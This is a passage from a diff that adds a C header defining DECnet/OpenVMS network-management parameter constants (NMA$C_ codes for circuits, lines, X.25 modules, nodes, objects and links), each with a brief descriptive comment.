1141 /* Babble timer (word) */ +#define NMA$C_PCCI_TRT 1142 /* Transmit timer (word) */ +#define NMA$C_PCCI_RTT 1143 /* Retransmit timer (word) */ +#define NMA$C_PCCI_MRB 1145 /* Maximum receive buffers (coded byte) */ +/* 0-254 is value, 255 = UNLIMITED */ +#define NMA$C_PCCI_MTR 1146 /* Maximum transmits (byte) */ +#define NMA$C_PCCI_ACB 1150 /* Active base (byte) */ +#define NMA$C_PCCI_ACI 1151 /* Active increment (byte) */ +#define NMA$C_PCCI_IAB 1152 /* Inactive base (byte) */ +#define NMA$C_PCCI_IAI 1153 /* Inactive increment (byte) */ +#define NMA$C_PCCI_IAT 1154 /* Inactive threshold (byte) */ +#define NMA$C_PCCI_DYB 1155 /* Dying base (byte) */ +#define NMA$C_PCCI_DYI 1156 /* Dying increment (byte) */ +#define NMA$C_PCCI_DYT 1157 /* Dying threshold (byte) */ +#define NMA$C_PCCI_DTH 1158 /* Dead threshold (byte) */ +/* */ +#define NMA$C_PCCI_RSX_MAC 2320 /* Multipoint active ratio */ +#define NMA$C_PCCI_RSX_LOG 2380 /* Logical name */ +#define NMA$C_PCCI_RSX_DLG 2385 /* Designated name */ +#define NMA$C_PCCI_RSX_ACT 2390 /* Actual name */ +/* */ +#define NMA$C_PCCI_VER 2700 /* Verification (coded byte of NMA$C_CIRVE_) */ +#define NMA$C_PCCI_XPT 2720 /* Transport type (coded byte of NMA$C_CIRXPT_) */ +/* VMS Specific codes that are used for the X21 project */ +#define NMA$C_PCCI_IRC 2750 /*Incoming Reverse */ +#define NMA$C_PCCI_ORC 2751 /*Outgoing Reverse */ +#define NMA$C_PCCI_GRP 2752 /*Cug */ +#define NMA$C_PCCI_NOP 2753 /*National Facility Data */ +#define NMA$C_PCCI_CAL 2754 /*Call request "Now/Clear" */ +#define NMA$C_PCCI_INA 2755 /*Inactive */ +#define NMA$C_PCCI_RED 2756 /*Redirected status */ +#define NMA$C_PCCI_MOD 2757 /*Time-cut Mode status "Auto/Noauto" */ +#define NMA$C_PCCI_REQ 2758 /*Request timer T1 */ +#define NMA$C_PCCI_DTW 2759 /*Dte waiting timer t2 */ +#define NMA$C_PCCI_PRO 2760 /*Progress timer t3a */ +#define NMA$C_PCCI_INF 2761 /*Information timer t4a */ +#define NMA$C_PCCI_ACC 2762 /*Accepted timer t4b */ +#define NMA$C_PCCI_CLR 2763 /*Request timer t5 */ +#define NMA$C_PCCI_DTC 2764 /*Dte clear timer t6 */ +#define NMA$C_PCCI_CCG 2765 /*Charging timer t7 */ +#define NMA$C_PCCI_ESA 2766 /*Enhanced Subaddress */ +#define NMA$C_PCCI_DTI 2767 /*DTE provided info */ +#define NMA$C_PCCI_SWC 2768 /*Switched - set line leased */ +#define NMA$C_PCCI_TIC 2769 /*Timecutting on/off */ +#define NMA$C_PCCI_CSG 2770 /*Send signal-data enable/disable */ +#define NMA$C_PCCI_AAS 2771 /*Abbreviated address. */ +#define NMA$C_PCCI_DTS 2772 /*DTE Status */ +#define NMA$C_PCCI_CAS 2773 /*Call Status */ +#define NMA$C_PCCI_CPS 2774 /*Call-Progress Status */ +#define NMA$C_PCCI_CNT 2775 /*Counter . */ +#define NMA$C_PCCI_RAT 2776 /*Rate item read only for show */ +#define NMA$C_PCCI_PRD 2777 /*Period hh:mm-hh:mm */ +#define NMA$C_PCCI_DAY 2778 /*day of week */ +#define NMA$C_PCCI_BFN 2779 /*number of buffers for driver to issue */ +#define NMA$C_PCCI_BSZ 2780 /*size of buffer to allocate. */ +#define NMA$C_PCCI_MDM 2781 /*Modem signals on/off */ +#define NMA$C_PCCI_DTL 2782 /*DTE-List element. */ +#define NMA$C_PCCI_IDL 2783 /*Idle time */ +#define NMA$C_PCCI_IMT 2784 /*Initial Minimum timer */ +#define NMA$C_PCCI_CAC 2785 /*Call accept control */ +#define NMA$C_PCCI_ORD 2786 /*Outgoing request Delay */ +#define NMA$C_PCCI_CID 2787 /*Calling DTE id */ +/* */ +#define NMA$C_PCCI_MST 2810 /* Maintenance state */ +/* */ +#define NMA$C_PCCI_SRV_LOG 3380 /* Logical name */ +#define NMA$C_PCCI_SRV_DLG 3385 /* Designated name */ +#define NMA$C_PCCI_SRV_ACT 3390 /* Actual name */ +/* */ +#define NMA$C_PCLI_STA 0 /* State (coded byte of NMA$C_STATE_) */ +#define NMA$C_PCLI_SUB 1 /* Substate (coded byte of NMA$C_LINSS_) */ +#define NMA$C_PCLI_SER 100 /* Service (coded byte of NMA$C_LINSV_) */ +#define NMA$C_PCLI_LCT 110 /* Counter timer (word) */ +#define NMA$C_PCLI_LOO 400 /* Loopback name (ascic) [V2 only] */ +#define NMA$C_PCLI_ADJ 800 /* Adjacent node [V2 only] */ +#define NMA$C_PCLI_BLO 810 /* Block size (word) [V2 only] */ +#define NMA$C_PCLI_COS 900 /* Cost (byte) [V2 only] */ +#define NMA$C_PCLI_DEV 1100 /* Device (ascic) */ +#define NMA$C_PCLI_BFN 1105 /* Receive buffers */ +#define NMA$C_PCLI_CON 1110 /* Controller (coded byte of NMA$C_LINCN_) */ +#define NMA$C_PCLI_DUP 1111 /* Duplex (coded byte of NMA$C_DPX_) */ +#define NMA$C_PCLI_PRO 1112 /* Protocol (coded byte of NMA$C_LINPR_) */ +#define NMA$C_PCLI_LTY 1112 /* Type (coded byte of NMA$C_LINTY_) [V2 only] */ +#define NMA$C_PCLI_CLO 1113 /* Clock (coded byte of NMA$C_LINCL_) */ +#define NMA$C_PCLI_STI 1120 /* Service timer (word) */ +#define NMA$C_PCLI_NTI 1121 /* Normal timer (word) [V2 only] */ +#define NMA$C_PCLI_RTT 1121 /* Retransmit timer (word) */ +#define NMA$C_PCLI_HTI 1122 /* Holdback timer (word) */ +#define NMA$C_PCLI_MBL 1130 /* Maximum block (word) */ +#define NMA$C_PCLI_MRT 1131 /* Maximum retransmits (byte) */ +#define NMA$C_PCLI_MWI 1132 /* Maximum window (byte) */ +#define NMA$C_PCLI_TRI 1140 /* Tributary (byte) [V2 only] */ +#define NMA$C_PCLI_SLT 1150 /* Scheduling timer (word) */ +#define NMA$C_PCLI_DDT 1151 /* Dead timer (word) */ +#define NMA$C_PCLI_DLT 1152 /* Delay timer (word) */ +#define NMA$C_PCLI_SRT 1153 /* Stream timer (word) */ +#define NMA$C_PCLI_HWA 1160 /* Hardware address (NI address) */ +#define nma$c_pcli_net 1190 /* Network name (ascic) */ +#define NMA$C_PCLI_XMD 1191 /* X.25 line mode (coded byte of NMA$C_X25MD_) */ +/* */ +#define NMA$C_PCLI_RSX_OWN 2300 /* Owner */ +#define NMA$C_PCLI_RSX_CCS 2310 /* Controller CSR */ +#define NMA$C_PCLI_RSX_UCS 2311 /* Unit CSR */ +#define NMA$C_PCLI_RSX_VEC 2312 /* Vector */ +#define NMA$C_PCLI_RSX_PRI 2313 /* Priority */ +#define NMA$C_PCLI_RSX_MDE 2321 /* Dead polling ratio */ +#define NMA$C_PCLI_RSX_LLO 2330 /* Location */ +/* 0, Firstfit */ +#define NMA$C_PCLI_RSX_LOG 2380 /* Logical name */ +#define NMA$C_PCLI_RSX_DLG 2385 /* Designated name */ +#define NMA$C_PCLI_RSX_ACT 2390 /* Actual name */ +/* */ +#define NMA$C_PCLI_MCD 2701 /* Micro-code dump filespec (ascic) */ +#define NMA$C_PCLI_EPT 2720 /* Ethernet Protocol Type (hex word) */ +#define NMA$C_PCLI_LNS 2730 /* Line speed (word) */ +#define NMA$C_PCLI_SWI 2740 /* SWITCH (coded byte of nma$c_linswi_) */ +#define NMA$C_PCLI_HNG 2750 /* HANGUP (coded byte of NMA$C_LINHNG_) */ +#define NMA$C_PCLI_TPI 2760 /* Transmit pipeline */ +#define nma$c_pcli_nrzi 2761 /* NRZI bit encoding */ +#define nma$c_pcli_code 2762 /* Character code (encoded as CODE_) */ +/* This section are parameters for 802 support. */ +#define NMA$C_PCLI_FMT 2770 /* Packet format(coded of linfm_) */ +#define NMA$C_PCLI_SRV 2771 /* Driver service coded of linsr */ +#define NMA$C_PCLI_SAP 2772 /* SAP */ +#define NMA$C_PCLI_GSP 2773 /* GSP */ +#define NMA$C_PCLI_PID 2774 /* PID */ +#define NMA$C_PCLI_CNM 2775 /* Client name */ +#define NMA$C_PCLI_CCA 2776 /* Can change address */ +#define NMA$C_PCLI_APC 2777 /* Allow promiscuous client */ +#define NMA$C_PCLI_MED 2778 /* Communication medium */ +#define NMA$C_PCLI_PNM 2779 /* Port name */ +#define NMA$C_PCLI_SNM 2780 /* Station name */ +/* */ +#define NMA$C_PCLI_BUS 2801 /* Buffer size (word) */ +#define NMA$C_PCLI_NMS 2810 /* Number of DMP/DMF synch chars (word) */ +#define NMA$C_PCLI_PHA 2820 /* Physical NI address of UNA (hex string) */ +#define NMA$C_PCLI_DPA 2821 /* (same as HWA) ; Default UNA physical address (hex string) */ +#define NMA$C_PCLI_PTY 2830 /* Ethernet Protocol type (word) */ +#define NMA$C_PCLI_MCA 2831 /* UNA Multicast address list (special) */ +/* (See NMA$C_LINMC_) */ +#define NMA$C_PCLI_ILP 2839 /* DELUA Internal Loopback mode */ +/* (coded byte of NMA$C_STATE_) */ +#define NMA$C_PCLI_PRM 2840 /* UNA Promiscuous mode (coded byte of NMA$C_STATE_) */ +#define NMA$C_PCLI_MLT 2841 /* UNA Multicast address mode (coded byte of NMA$C_STATE_) */ +#define NMA$C_PCLI_PAD 2842 /* UNA Padding mode (coded byte of NMA$C_STATE_) */ +#define NMA$C_PCLI_DCH 2843 /* UNA Data chaining mode (coded byte of NMA$C_STATE_) */ +#define NMA$C_PCLI_CRC 2844 /* UNA CRC mode (coded byte of NMA$C_STATE_) */ +#define NMA$C_PCLI_HBQ 2845 /* UNA Hardware Buffer Quota (word) */ +#define NMA$C_PCLI_ACC 2846 /* UNA protocol access mode (coded byte of NMA$C_ACC_) */ +#define NMA$C_PCLI_EKO 2847 /* UNA Echo mode (coded byte of NMA$C_STATE_) */ +#define NMA$C_PCLI_BSZ 2848 /* UNA Device Buffer size */ +#define NMA$C_PCLI_DES 2849 /* UNA destination Ethernet address */ +#define NMA$C_PCLI_RET 2850 /* PCL number of retries (word) */ +#define NMA$C_PCLI_MOD 2851 /* PCL address mode (coded byte of NMA$C_LINMO_) */ +#define NMA$C_PCLI_RIB 2852 /* PCL retry-if-busy state (coded byte of NMA$C_STATE_) */ +#define NMA$C_PCLI_MNTL 2860 /* Maintenance loopback mode for devices */ +/* which support several different loop back modes */ +#define NMA$C_PCLI_INTL0 2861 /* Internal loopback level 0 */ +#define NMA$C_PCLI_INTL1 2862 /* Internal loopback level 1 */ +#define NMA$C_PCLI_INTL2 2863 /* Internal loopback level 2 */ +#define NMA$C_PCLI_INTL3 2864 /* Internal loopback level 3 */ +#define NMA$C_PCLI_FRA 2865 /* Framing address for Bisync */ +#define NMA$C_PCLI_STI1 2866 /* State info 1st longword */ +#define NMA$C_PCLI_STI2 2867 /* State info 2st longword */ +#define NMA$C_PCLI_TMO 2868 /* Wait for CTS time out value for DMF sync half duplex */ +#define NMA$C_PCLI_MCL 2869 /* Clear modem on deassign of channel */ +#define NMA$C_PCLI_SYC 2870 /* BISYNC protocol sync char */ +#define NMA$C_PCLI_BPC 2871 /* Number of bits per character */ +#define NMA$C_PCLI_MBS 2872 /* Maximum buffer size */ +#define NMA$C_PCLI_RES 2873 /* Restart valuse (coded byte of LINRES_ */ +/* */ +#define NMA$C_PCLI_SRV_OWN 3300 /* Owner */ +#define NMA$C_PCLI_SRV_UCS 3311 /* Unit CSR */ +#define NMA$C_PCLI_SRV_VEC 3312 /* Vector */ +#define NMA$C_PCLI_SRV_PRI 3313 /* Priority */ +#define NMA$C_PCLI_SRV_LOG 3380 /* Logical name */ +#define NMA$C_PCLI_SRV_DLG 3385 /* Designated name */ +#define NMA$C_PCLI_SRV_ACT 3390 /* Actual name */ +/* */ +#define NMA$C_LINMD_CSMACD 10 /* */ +#define NMA$C_LINMD_FDDI 11 /* */ +#define NMA$C_LINMD_CI 12 /* */ +/* */ +#define NMA$C_PCCO_RTR 110 /* Reservation timer (word) */ +/* */ +#define NMA$C_PCLD_ASS 10 /* Assistance flag (coded byte of NMA$C_ASS_) */ +/* */ +#define NMA$C_PCLP_ASS 10 /* Assistance flag (coded byte of NMA$C_ASS_) */ +/* */ +#define NMA$C_PCCN_CIR 100 /* NI circuit name (ascic) */ +#define NMA$C_PCCN_SUR 110 /* Surveillance flag (coded byte of NMA$C_SUR_) */ +#define NMA$C_PCCN_ELT 111 /* Elapsed time */ +#define NMA$C_PCCN_PHA 120 /* Physical address (NI address) */ +#define NMA$C_PCCN_LRP 130 /* Time of last report */ +#define NMA$C_PCCN_MVR 20001 /* Maintenance version */ +#define NMA$C_PCCN_FCT 20002 /* Function list */ +#define NMA$C_PCCN_CUS 20003 /* Current console user (NI address) */ +#define NMA$C_PCCN_RTR 20004 /* Reservation timer (word) */ +#define NMA$C_PCCN_CSZ 20005 /* Command buffer size (word) */ +#define NMA$C_PCCN_RSZ 20006 /* Response buffer size (word) */ +#define NMA$C_PCCN_HWA 20007 /* Hardware address (NI address) */ +#define NMA$C_PCCN_DTY 20100 /* Device type (coded byte of NMA$C_SOFD_) */ +#define NMA$C_PCCN_SFI 20200 /* Software ID */ +#define NMA$C_PCCN_SPR 20300 /* System processor (coded word) */ +#define NMA$C_PCCN_DLK 20400 /* Data link type (coded word) */ +/* */ +#define NMA$C_PCLO_STA 0 /* State (coded byte of NMA$C_STATE_) */ +#define NMA$C_PCLO_LNA 100 /* System/name (ascic) */ +#define NMA$C_PCLO_SIN 200 /* Sink node */ +#define NMA$C_PCLO_EVE 201 /* Events */ +/* */ +#define NMA$C_PCXA_NOD 320 /* Node */ +#define NMA$C_PCXA_USR 330 /* User (ascic) */ +#define NMA$C_PCXA_SPW 331 /* Password to set (ascic) */ +#define NMA$C_PCXA_RPW 331 /* Password to read (coded byte of NMA$C_NODPW_) */ +#define NMA$C_PCXA_ACC 332 /* Account (ascic) */ +#define NMA$C_PCXA_NET 1110 /* Network (ascic) */ +/* */ +#define NMA$C_PCXA_RSX_ADS 2310 /* Destination */ +#define NMA$C_PCXA_RSX_ANB 2320 /* Number */ +#define NMA$C_PCXA_RSX_ASC 2330 /* Scope */ +/* */ +#define NMA$C_PCXA_SRV_ADS 3310 /* Destination */ +#define NMA$C_PCXA_SRV_ANB 3320 /* Number */ +#define NMA$C_PCXA_SRV_ASC 3330 /* Scope */ +/* */ +#define NMA$C_PCXP_STA 0 /* State (coded byte of NMA$C_STATE_) */ +#define NMA$C_PCXP_SBS 1 /* Substate, qualified by DTE (coded byte of NMA$C_XPRSB_) */ +#define NMA$C_PCXP_CTM 100 /* Counter timer (word) */ +#define NMA$C_PCXP_ACH 1000 /* Active channels (word) */ +#define NMA$C_PCXP_ASW 1010 /* Active switched (word) */ +#define NMA$C_PCXP_DTE 1100 /* DTE (ascic) */ +#define NMA$C_PCXP_GRP 1101 /* Group (ascic) */ +#define NMA$C_pcxp_netent 1110 /* Network entity (ascic) */ +#define NMA$C_pcxp_dnt 1111 /* DTE Network (ascic) */ +#define NMA$C_PCXP_LIN 1120 /* Line (ascic) */ +#define NMA$C_PCXP_CHN 1130 /* Channels */ +#define NMA$C_PCXP_MCH 1131 /* Maximum channels (word) */ +#define NMA$C_PCXP_DBL 1140 /* Default data (word) */ +#define NMA$C_PCXP_DWI 1141 /* Default window (byte) */ +#define NMA$C_PCXP_MBL 1150 /* Maximum data (word) */ +#define NMA$C_PCXP_MWI 1151 /* Maximum window (byte) */ +#define NMA$C_PCXP_MCL 1152 /* Maximum clears (byte) */ +#define NMA$C_PCXP_MRS 1153 /* Maximum resets (byte) */ +#define NMA$C_PCXP_MST 1154 /* Maximum restarts (byte) */ +#define NMA$C_PCXP_CAT 1160 /* Call timer (byte) */ +#define NMA$C_PCXP_CLT 1161 /* Clear timer (byte) */ +#define NMA$C_PCXP_RST 1162 /* Reset timer (byte) */ +#define NMA$C_PCXP_STT 1163 /* Restart timer (byte) */ +#define NMA$C_pcxp_itt 1164 /* Interrupt timer (byte) */ +#define NMA$C_PCXP_GDT 1170 /* Group DTE (ascic) */ +#define NMA$C_PCXP_GNM 1171 /* Group number (word) */ +#define NMA$C_PCXP_GTY 1172 /* Group type (coded byte of NMA$C_XPRTY_) */ +#define NMA$C_pcxp_gnt 1173 /* Group Network name (ascic) */ +#define nma$c_pcxp_mode 1180 /* DTE mode (coded byte of NMA$C_X25MD_) */ +#define nma$c_pcxp_prof 1190 /* Profile (ascic) */ +/* */ +#define NMA$C_PCXP_RSX_PMC 2300 /* Maximum circuits */ +/* */ +#define NMA$C_PCXP_MCI 2710 /* Maximum circuits, qualified by DTE */ +/* */ +#define NMA$C_PCXP_SRV_PMC 3300 /* Maximum circuits */ +/* */ +#define nma$c_pcxs_sta 1 /* State (coded byte of NMA$C_STATE_) */ +#define NMA$C_PCXS_CTM 100 /* Counter timer (word) */ +#define NMA$C_PCXS_ACI 200 /* Active circuits (word) */ +#define NMA$C_PCXS_DST 300 /* Destination (ascic) */ +#define NMA$C_PCXS_MCI 310 /* Maximum circuits (word) */ +#define NMA$C_PCXS_NOD 320 /* Node */ +#define NMA$C_PCXS_USR 330 /* Username */ +#define NMA$C_PCXS_SPW 331 /* Password to set (ascic) */ +#define NMA$C_PCXS_RPW 331 /* Password to read (coded byte of NMA$C_NODPW_) */ +#define NMA$C_PCXS_ACC 332 /* Account (ascic) */ +#define NMA$C_PCXS_OBJ 340 /* Object */ +#define NMA$C_PCXS_PRI 350 /* Priority (byte) */ +#define NMA$C_PCXS_CMK 351 /* Call mask (byte-counted hex) */ +#define NMA$C_PCXS_CVL 352 /* Call value (byte-counted hex) */ +#define NMA$C_PCXS_GRP 353 /* Group (ascic) */ +#define NMA$C_PCXS_SDTE 354 /* Sending DTE, formally "Number" (ascic) */ +#define NMA$C_PCXS_SAD 355 /* Subaddresses */ +#define nma$c_pcxs_red 390 /* Redirect reason (coded byte nma$c_x25red_) */ +#define nma$c_pcxs_cdte 391 /* Called DTE (ascic) */ +#define nma$c_pcxs_rdte 392 /* Receiving DTE (ascic) */ +#define nma$c_pcxs_net 393 /* Network (ascic) */ +#define nma$C_pcxs_emk 394 /* Extension mask (ascic) */ +#define nma$C_pcxs_evl 395 /* Extension value (ascic) */ +#define nma$C_pcxs_idte 396 /* Incoming address (ascii) */ +/* */ +#define NMA$C_PCXS_RSX_5ST 2310 /* State */ +/* 0, On */ +#define NMA$C_PCXS_FIL 2710 /* Object filespec (ascic) */ +/* */ +#define NMA$C_PCXS_SRV_5ST 3310 /* State */ +/* 0, On */ +#define NMA$C_PCXT_STA 0 /* State (coded byte of NMA$C_STATE_) */ +#define NMA$C_PCXT_BSZ 100 /* Buffer size (word) */ +#define NMA$C_PCXT_MBK 101 /* Maximum blocks/file (word) */ +#define NMA$C_PCXT_FNM 102 /* Filename (ascic) */ +#define NMA$C_PCXT_MBF 103 /* Maximum number of buffers (word) */ +#define NMA$C_PCXT_CPL 104 /* Global data capture limit (word) */ +#define NMA$C_PCXT_MVR 105 /* Maximum trace file version (word) */ +#define NMA$C_PCXT_TPT 106 /* Trace point name (ascic) */ +#define NMA$C_PCXT_CPS 110 /* Per-trace capture size (word) */ +#define NMA$C_PCXT_TST 111 /* Per-trace state (coded byte of NMA$C_STATE_) */ +/* */ +#define NMA$C_PCNO_STA 0 /* State (coded byte of NMA$C_STATE_) */ +#define NMA$C_PCNO_PHA 10 /* Physical address (NI address) */ +#define NMA$C_PCNO_IDE 100 /* Identification (ascic) */ +#define NMA$C_PCNO_MVE 101 /* Management version (3 bytes) */ +#define NMA$C_PCNO_SLI 110 /* Service circuit (ascic) */ +#define NMA$C_PCNO_SPA 111 /* Service password (8 bytes) */ +#define NMA$C_PCNO_SDV 112 /* Service device (coded byte of NMA$C_SOFD_) */ +#define NMA$C_PCNO_CPU 113 /* CPU type (coded byte of NMA$C_CPU_) */ +#define NMA$C_PCNO_HWA 114 /* Hardware address (NI address) */ +#define NMA$C_PCNO_SNV 115 /* Service node version (coded byte of NMA$C_SVN_) */ +#define NMA$C_PCNO_LOA 120 /* Load file (ascic) */ +#define NMA$C_PCNO_SLO 121 /* Secondary loader (ascic) */ +#define NMA$C_PCNO_TLO 122 /* Tertiary loader (ascic) */ +#define NMA$C_PCNO_DFL 123 /* Diagnostic file (ascic) */ +#define NMA$C_PCNO_STY 125 /* Software type (coded byte of NMA$C_SOFT_) */ +#define NMA$C_PCNO_SID 126 /* Software ID (ascic) */ +#define NMA$C_PCNO_MFL 127 /* Management File (ascic) */ +#define NMA$C_PCNO_DUM 130 /* Dump file (ascic) */ +#define NMA$C_PCNO_SDU 131 /* Secondary dumper (ascic) */ +#define NMA$C_PCNO_DAD 135 /* Dump address (longword) */ +#define NMA$C_PCNO_DCT 136 /* Dump count (longword) */ +#define NMA$C_PCNO_OHO 140 /* Host (read only parameter) */ +#define NMA$C_PCNO_IHO 141 /* Host (write only parameter) */ +#define NMA$C_PCNO_LPC 150 /* Loop count (word) */ +#define NMA$C_PCNO_LPL 151 /* Loop length (word) */ +#define NMA$C_PCNO_LPD 152 /* Loop Data type (coded byte of NMA$C_LOOP_) */ +#define NMA$C_PCNO_LPA 153 /* Loop assistant physical address (NI address) */ +#define NMA$C_PCNO_LPH 154 /* Loop help type (coded byte) */ +#define NMA$C_PCNO_LPN 155 /* Loop circuit node */ +#define NMA$C_PCNO_LAN 156 /* Loop circuit assistant node */ +#define NMA$C_PCNO_CTI 160 /* Counter timer (word) */ +#define NMA$C_PCNO_NNA 500 /* Name */ +#define NMA$C_PCNO_NLI 501 /* Circuit (ascic) */ +#define NMA$C_PCNO_ADD 502 /* Address */ +#define NMA$C_PCNO_ITI 510 /* Incoming timer (word) */ +#define NMA$C_PCNO_OTI 511 /* Outgoing timer (word) */ +#define NMA$C_PCNO_IPR 522 /* Incoming Proxy */ +#define NMA$C_PCNO_OPR 523 /* Outgoing Proxy */ +#define NMA$C_PCNO_ACL 600 /* Active links (word) */ +#define NMA$C_PCNO_DEL 601 /* Delay (word) */ +#define NMA$C_PCNO_NVE 700 /* Nsp version (3 bytes) */ +#define NMA$C_PCNO_MLK 710 /* Maximum links (word) */ +#define NMA$C_PCNO_DFA 720 /* Delay factor (byte) */ +#define NMA$C_PCNO_DWE 721 /* Delay weight (byte) */ +#define NMA$C_PCNO_IAT 722 /* Inactivity timer (word) */ +#define NMA$C_PCNO_RFA 723 /* Retransmit factor (word) */ +#define NMA$C_PCNO_DTY 810 /* Destination Type (coded byte of NMA$C_XPRTY_) */ +#define NMA$C_PCNO_DCO 820 /* Destination Cost (word) */ +#define NMA$C_PCNO_DHO 821 /* Destination Hops (byte) */ +#define NMA$C_PCNO_DLI 822 /* Destination circuit (ascic) */ +#define NMA$C_PCNO_NND 830 /* Next node to destination */ +#define NMA$C_PCNO_RVE 900 /* Routing version (3 bytes) */ +#define NMA$C_PCNO_ETY 901 /* Executor Type (coded byte of NMA$C_NODTY_) */ +#define NMA$C_PCNO_RTI 910 /* Routing timer (word) */ +#define NMA$C_PCNO_SAD 911 /* Subaddress (2 words) */ +#define NMA$C_PCNO_BRT 912 /* Broadcast routing timer (word) */ +#define NMA$C_PCNO_MAD 920 /* Maximum address (word) */ +#define NMA$C_PCNO_MLN 921 /* Maximum circuits (word) */ +#define NMA$C_PCNO_MCO 922 /* Maximum cost (word) */ +#define NMA$C_PCNO_MHO 923 /* Maximum hops (byte) */ +#define NMA$C_PCNO_MVI 924 /* Maximum visits (byte) */ +#define NMA$C_PCNO_MAR 925 /* Maximum areas (byte) */ +#define NMA$C_PCNO_MBE 926 /* Maximum broadcast nonrouters (word) */ +#define NMA$C_PCNO_MBR 927 /* Maximum broadcast routers (word) */ +#define NMA$C_PCNO_AMC 928 /* Area maximum cost (word) */ +#define NMA$C_PCNO_AMH 929 /* Area maximum hops (byte) */ +#define NMA$C_PCNO_MBU 930 /* Maximum buffers (word) */ +#define NMA$C_PCNO_BUS 931 /* Executor buffer size (word) */ +#define NMA$C_PCNO_SBS 932 /* Segment buffer size (word) */ +#define NMA$C_PCNO_MPS 933 /* Maximum path splits */ +#define NMA$C_PCNO_FBS 933 /* Forwarding buffer size (word) */ +/* */ +#define NMA$C_PCNO_RSX_RPA 2300 /* Receive password */ +/* 0, Password set */ +#define NMA$C_PCNO_RSX_TPA 2301 /* Transmit password */ +/* 0, Password set */ +#define NMA$C_PCNO_RSX_VER 2310 /* Verification state */ +/* 0, On */ +#define NMA$C_PCNO_PUS 2704 /* Privileged user id */ +#define NMA$C_PCNO_PAC 2705 /* Privileged account */ +#define NMA$C_PCNO_PPW 2706 /* Privileged password */ +#define NMA$C_PCNO_NUS 2712 /* Non-privileged user id */ +#define NMA$C_PCNO_NAC 2713 /* Non-privileged account */ +#define NMA$C_PCNO_NPW 2714 /* Non-privileged password */ +#define NMA$C_PCNO_RPA 2720 /* Receive password */ +#define NMA$C_PCNO_TPA 2721 /* Transmit password */ +#define NMA$C_PCNO_ACC 2730 /* Access (coded byte of NMA$C_ACES_) */ +#define NMA$C_PCNO_DAC 2731 /* Default access (coded byte of NMA$C_ACES_) */ +#define NMA$C_PCNO_PIQ 2740 /* Pipeline quota (word) */ +#define NMA$C_PCNO_ALI 2742 /* Alias incoming (coded byte of ALIINC)) */ +#define NMA$C_PCNO_ALM 2743 /* Alias Maximum links */ +#define NMA$C_PCNO_ALN 2744 /* Alias node */ +#define NMA$C_PCNO_PRX 2750 /* Proxy access (coded byte of NMA$C_ACES_) !! Obsolete: Only for LIST/PURGE */ +#define NMA$C_PCNO_DPX 2751 /* Default proxy access (coded byte of NMA$C_ACES_) */ +#define NMA$C_PCNO_COP 2760 /* Remote nodefor COPY command */ +#define NMA$C_PCNO_INB 2765 /* Inbound for async DECnet. */ +#define NMA$C_PCNO_LAA 2770 /* Load Assist Agent */ +#define NMA$C_PCNO_LAP 2771 /* Load Assist Parameter */ +#define NMA$C_PCNO_PSP 2780 /* Path Splits Policy */ +/* (Coded byte f PSPCY) */ +#define NMA$C_PCNO_MDO 2785 /* Maximum Declared Objects */ +/* */ +#define NMA$C_PCNO_SRV_RPA 3300 /* Receive password */ +/* 0, Password set */ +#define NMA$C_PCNO_SRV_TPA 3301 /* Transmit password */ +/* 0, Password set */ +#define NMA$C_PCNO_SRV_VER 3310 /* Verification state */ +/* 0, On */ +#define NMA$C_PCNO_SRV_ACB 3402 /* Active control buffers */ +#define NMA$C_PCNO_SRV_ASB 3404 /* Active small buffers */ +#define NMA$C_PCNO_SRV_ALB 3406 /* Active large buffers */ +#define NMA$C_PCNO_SRV_MCB 3410 /* Maximum control buffers */ +#define NMA$C_PCNO_SRV_MSB 3420 /* Maximum small buffers */ +#define NMA$C_PCNO_SRV_MLB 3430 /* Maximum large buffers */ +#define NMA$C_PCNO_SRV_LBS 3431 /* Large buffer size */ +#define NMA$C_PCNO_SRV_NRB 3440 /* Minimum receive buffers */ +#define NMA$C_PCNO_SRV_CPT 3450 /* CEX pool: total bytes */ +#define NMA$C_PCNO_SRV_CPF 3452 /* CEX pool: number of segments */ +#define NMA$C_PCNO_SRV_CPL 3454 /* CEX pool: largest segment */ +#define NMA$C_PCNO_SRV_XPT 3460 /* Extended pool: total bytes */ +#define NMA$C_PCNO_SRV_XPF 3462 /* Extended pool: number of segments */ +#define NMA$C_PCNO_SRV_XPL 3464 /* Extended pool: largest segment */ +/* */ +#define NMA$C_PCAR_STA 0 /* State (coded byte of NMA$C_STATE_) */ +#define NMA$C_PCAR_COS 820 /* Cost (word) */ +#define NMA$C_PCAR_HOP 821 /* Hops (byte) */ +#define NMA$C_PCAR_CIR 822 /* Circuit (ascic) */ +#define NMA$C_PCAR_NND 830 /* Next node to area */ +/* */ +#define NMA$C_PCOB_OAN 400 /* Active name */ +#define NMA$C_PCOB_OAC 410 /* Active links */ +#define NMA$C_PCOB_ONA 500 /* Name */ +#define NMA$C_PCOB_OCO 510 /* Copies */ +#define NMA$C_PCOB_OUS 511 /* User */ +#define NMA$C_PCOB_OVE 520 /* Verification */ +#define NMA$C_PCOB_NAM 500 /* Name */ +#define NMA$C_PCOB_NUM 513 /* Number */ +#define NMA$C_PCOB_FID 530 /* File id */ +#define NMA$C_PCOB_PID 535 /* Process id */ +#define NMA$C_PCOB_PRV 540 /* Privilege list */ +#define NMA$C_PCOB_OCPRV 542 /* Outgoing connect privilege list */ +#define NMA$C_PCOB_USR 550 /* User id */ +#define NMA$C_PCOB_ACC 551 /* Account */ +#define NMA$C_PCOB_PSW 552 /* Password */ +#define NMA$C_PCOB_PRX 560 /* Proxy access (coded byte of NMA$C_ACES_) */ +#define NMA$C_PCOB_ALO 565 /* Alias outgoing- coded byte of nma$c_alout */ +#define NMA$C_PCOB_ALI 566 /* Alias incoming- coded byte of nma$c_alinc */ +/* */ +#define NMA$C_PCLK_STA 0 /* State */ +#define NMA$C_PCLK_PID 101 /* Process id */ +#define NMA$C_PCLK_NID 102 /* Partner Node */ +#define NMA$C_PCLK_LAD 105 /* Link address [V2 only] */ +/* entity is node rather than link ! */ +#define NMA$C_PCLK_DLY 110 /* Round trip delay time (word) */ +#define NMA$C_PCLK_RLN 120 /* Remote link number (word) */ +#define NMA$C_PCLK_RID 121 /* Remote identification, PID or username (ascic) */ +#define NMA$C_PCLK_USR 130 /* Username of link owner (ascic) */ +#define NMA$C_PCLK_PRC 131 /* Process name of link owner (ascic) */ +/* */ +#define NMA$C_CTCIR_ZER 0 /* Seconds since last zeroed */ +#define NMA$C_CTCIR_APR 800 /* Terminating packets received */ +#define NMA$C_CTCIR_DPS 801 /* Originating packets sent */ +#define NMA$C_CTCIR_ACL 802 /* Terminating congestion loss */ +#define NMA$C_CTCIR_CRL 805 